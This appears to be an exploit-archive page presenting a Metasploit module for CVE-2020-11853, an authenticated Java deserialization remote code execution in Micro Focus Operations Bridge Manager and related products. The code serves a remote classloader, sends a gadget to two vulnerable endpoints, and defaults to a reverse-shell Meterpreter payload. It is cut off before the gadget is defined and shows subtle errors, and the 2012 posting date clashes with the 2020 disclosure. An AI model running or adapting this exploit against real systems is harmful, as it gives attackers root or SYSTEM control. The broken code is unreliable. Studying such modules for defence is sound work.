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CGI (1,018)	July 2022
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Conference (673)	May 2022
Cracker (840)	April 2022
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File Inclusion (4,165)	

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Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,600)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
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IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Micro Focus Operations Bridge Manager Remote Code Execution

Authored by [Pedro Ribeiro](#) | Site [metasploit.com](#)

Posted [Feb 10, 2012](#)

This Metasploit module exploits an authenticated Java deserialization that affects a truckload of Micro Focus products: Operations Bridge Manager, Application Performance Management, Data Center Automation, Universal CMDB, Hybrid Cloud Management and Service Management Automation. However, this module was only tested on Operations Bridge Manager. Exploiting this vulnerability will result in remote code execution as the root user on Linux or the SYSTEM user on Windows. Authentication is required as the module user needs to login to the application and obtain the authenticated LWSO\_COOKIE\_KEY, which should be fed to the module. Any authenticated user can exploit this vulnerability, even the lowest privileged ones.

tags | [exploit](#), [java](#), [remote](#), [root](#), [code execution](#)

systems | [linux](#), [windows](#)

advisories | [CVE-2020-11853](#)

SHA-256 | [13d48a0eedb076ba8ac83405342b8b011a20b72ca2d2e40597629ef5d018cddd](#) [Download](#) | [Favorite](#) | [View](#)

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```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Java::HTTPr::ClassLoader
  prepend Msf::Exploit::Remote::AutoCheck
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Micro Focus Operations Bridge Manager Authenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an authenticated Java deserialization that affects a truckload of Micro
          Focus products: Operations Bridge Manager, Application Performance Management, Data Center
          Automation,
          Universal CMDB, Hybrid Cloud Management and Service Management Automation. However this module
          was only tested on Operations Bridge Manager.
          Exploiting this vulnerability will result in remote code execution as the root user on Linux or
          the SYSTEM user on Windows.
          Authentication is required, the module user needs to login to the application and obtain the
          authenticated LWSO_COOKIE_KEY, which should be fed to the module. Any authenticated user can
          exploit this vulnerability, even the lowest privileged ones.
          For more information refer to the advisory link below.
        },
        'Author' =>
          [
            'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
          ],
        'References' =>
          [
            [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md' ],
            [ 'CVE', '2020-11853' ],
            [ 'EDID', '20-1327' ],
          ],
        'DisclosureDate' => '2020-10-28',
        'License' => MSF_LICENSE,
        'Platform' => 'java',
        'Arch' => ARCH_JAVA,
        'Privileged' => true,
        'Targets' => [
          ['Micro Focus Operations Bridge Manager <= 2020.05 (and many other MF products)'],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'java/meterpreter/reverse_tcp'
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
      OptString.new('LWSO_COOKIE_KEY', [true, 'Authenticated LWSO_COOKIE session cookie'])
    ])

    end

    def check
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/topaz/login.jsp')
      })

      # unfortunately could not find an easy way to detect the version running, even when auth
      if res && res.code == 200 && res.body.include?('Login - Operations Bridge Manager')
        return Exploit::CheckCode::Detected
      end

      return Exploit::CheckCode::Unknown
    end

    def exploit
      # Start our HTTP server to provide remote classloading
      @classloader_uri = start_service

      unless @classloader_uri
        fail_with(Failure::BadConfig, 'Could not start remote classloader server')
      end

      print_good("Started remote classloader server at #{@classloader_uri}")

      # heh, we got two of these, let's pick one randomly!
      vuln_uri = [
        '/legacy/topaz/sitescope/conf/registration',
        '/legacy/topaz/sitescope/conf/download'
      ].sample

      # Send our remote classloader gadget to the target, triggering the vuln
      send_request_gadget({
        normalize_uri(target_uri.path, vuln_uri)
      })
    end

    # Convenience method to send our gadget to a URI
    def send_request_gadget(uri)
      print_status("Sending remote classloader gadget to #{full_uri(uri)}")

      send_request_raw({
        'method' => 'POST',
        'uri' => uri,
        'cookie' => 'LWSO_COOKIE_KEY=#{datastore['LWSO_COOKIE_KEY']}',
        'headers' => { 'Content-Type' => 'application/octet-stream' },
        'data' => go_go_gadget
      }, 0)
    end

    # C3PO payload generated with a ysoserial jar
```

[illegible]

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
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